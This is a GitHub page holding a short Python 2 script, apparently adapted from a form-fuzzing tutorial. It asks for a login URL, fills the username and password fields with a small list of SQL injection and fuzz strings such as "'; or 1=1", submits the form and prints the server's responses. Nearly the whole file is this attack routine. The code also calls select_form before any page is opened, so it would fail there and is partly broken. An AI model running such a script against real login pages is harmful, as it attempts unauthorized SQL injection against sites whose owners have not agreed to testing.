-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmechanize_attack2.py
More file actions
48 lines (42 loc) · 1.6 KB
/
mechanize_attack2.py
File metadata and controls
48 lines (42 loc) · 1.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#! /usr/bin/env python
# -*- coding: utf-8 -*-
#
#------------------------------------------------
# Source: https://sdet.us/form-fuzzing-python-mechanize/
import re
import mechanize
#browser = mechanize.Browser()
browser = mechanize.Browser(factory=mechanize.RobustFactory())
browser.set_handle_robots(False)
browser.set_handle_equiv(True)
browser.set_handle_gzip(True)
browser.set_handle_redirect(True)
browser.set_handle_referer(True)
browser.select_form(nr=0)
ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36'
browser.addheaders = [('User-Agent', ua), ('Accept', '*/*')]
#---------------------------------------------------------------
url = input("Enter the full URL (https://127.0.0.1/login.php): ")
#------------------------------------------------------------------------------------------------------------------------------------
# SQL Injection and Fuzz Values:
badblood = ["'; or 1=1 a@gmail.com", "%5C%5C bill@gmail.com", "//jack@gmail.com","%20='"]
def formScrape(url):
# Initial form finding:
browser.open(url)
for form in browser.forms():
print form
def attackf(url, injection=badblood):
for evil in badblood:
print "Attempting attack with: " + evil
try:
browser.open(url)
browser.select_form(nr=0)
browser.form['j_username'] = evil
browser.form['j_password'] = evil
browser.submit()
for line in browser.response():
print line
except:
pass
#attackf('https://127.0.0.1/login')
attackf(url)